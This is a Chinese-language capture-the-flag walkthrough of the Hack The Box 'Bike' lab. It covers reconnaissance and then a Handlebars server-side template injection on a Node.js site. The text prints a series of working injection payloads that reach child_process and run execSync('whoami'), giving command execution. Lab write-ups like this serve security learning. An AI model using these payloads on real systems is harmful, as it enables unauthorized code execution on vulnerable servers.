HTB-bike(SSTI模版注入)

前言

大家好，我是qmx_07,今天给大家讲解bike靶场

渗透过程

信息搜集

在这里插入图片描述

服务器开放了 22 ssh 和 http80端口

Wappalyzer

介绍：Wappalyzer是一种浏览器扩展程序，用于识别正在访问的网站所使用的技术栈和工具，比如使用的web框架，编程语言等
服务器所使用Express框架

发现SSTI模版注入

在这里插入图片描述

可以看到这个输入框，用来输出内容
尝试xss攻击失败
介绍：book.hacktricks.xyz 是一个在线技术知识库，提供有关黑客技术、网络安全和渗透测试的信息和资源，学习网络安全渗透知识
由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
输入{{7*7}}正确的返回值是49
服务器显示报错，信息显示使用的handlebars模版
/root路径可能拥有更高的权限

SSTI模版注入

在这里插入图片描述

使用hacktricks里handlebars模版的注入poc
对poc进行url编码，防止出现其他问题
显示require函数无法被调用，可能做了一些安全限制，尝试绕过

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "process;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

process没有被禁用，尝试获取主函数
在Node.js中，process是一个全局对象，它提供了对当前运行的Node.js进程的访问和控制

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "process.mainMoudle;"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

process.mainMoudle也可以调用，我们尝试间接调用require函数

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

在这里插入图片描述

child_process模块提供了创建子进程的功能，可以通过该模块执行外部的系统命令

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}